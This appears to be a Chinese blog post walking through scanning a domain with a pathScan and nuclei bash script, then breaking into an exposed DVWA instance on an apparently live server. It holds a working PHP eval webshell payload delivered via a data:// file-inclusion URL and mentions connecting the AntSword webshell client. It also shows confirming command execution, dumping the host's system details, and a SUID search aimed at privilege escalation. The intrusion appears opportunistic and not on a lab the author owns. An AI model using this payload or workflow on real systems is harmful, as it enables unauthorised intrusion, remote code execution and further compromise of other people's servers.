使用自动化脚本配合pathScannuclei进行漏洞扫描

#!/bin/bash​# 获取脚本的第一个参数作为域名domain=$1​# 检查是否提供了域名if [ -z "$domain" ]; then            echo "用法: $0 wjlin0.com"                exit 1fioutput_path=./output/$domain​# 创建路径mkdir -p $output_path​# 扫描子域名 (-sd 发现更多目标)pathScan -s -sq $domain -o $output_path/out.csv -csv -sd# 排除 5xx 和 400 状态码的结果cat $output_path/out.csv | awk -F, 'NR > 1 && !($9 ~ /^[5]/ || $9 == 400) { print $2 }' > $output_path/url_out.txt​# 从 url_out.txt 中提取域名, 并且去重cat $output_path/url_out.txt | awk -F/ '{ print $3 }' | sort -u > $output_path/domain_out.txt# 排除 vpn 相关域名 ​​# 扫描漏洞nuclei -list $output_path/url_out.txt -o $output_path/nuclei_out.txt

有个严重,好家伙dvwa,进去看看

image-20240112211000138

看一下有没有disable_functions()

http://xx.xx/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8%2B&1=phpinfo();

image-20240112211429705

应该是没有 用蚁剑上线吧

image-20240112170550295

看一下能不能执行系统命令,发现能,还挺好

image-20240112170705054

image-20240112175624858

Linux mituan-cg-2106 4.19.24-7.34.cbp.al7.x86_64 #1 SMP Thu Dec 15 08:56:31 UTC 2022 x86_64 GNU/Linux​PRETTY_NAME="Debian GNU/Linux 9 (stretch)"NAME="Debian GNU/Linux"VERSION_ID="9"VERSION="9 (stretch)"ID=debianHOME_URL="https://www.debian.org/"SUPPORT_URL="https://www.debian.org/support"BUG_REPORT_URL="https://bugs.debian.org/"

查找有没有suid

find / -perm -u=s -type f 2>/dev/null

image-20240112171848295

信息收集脚本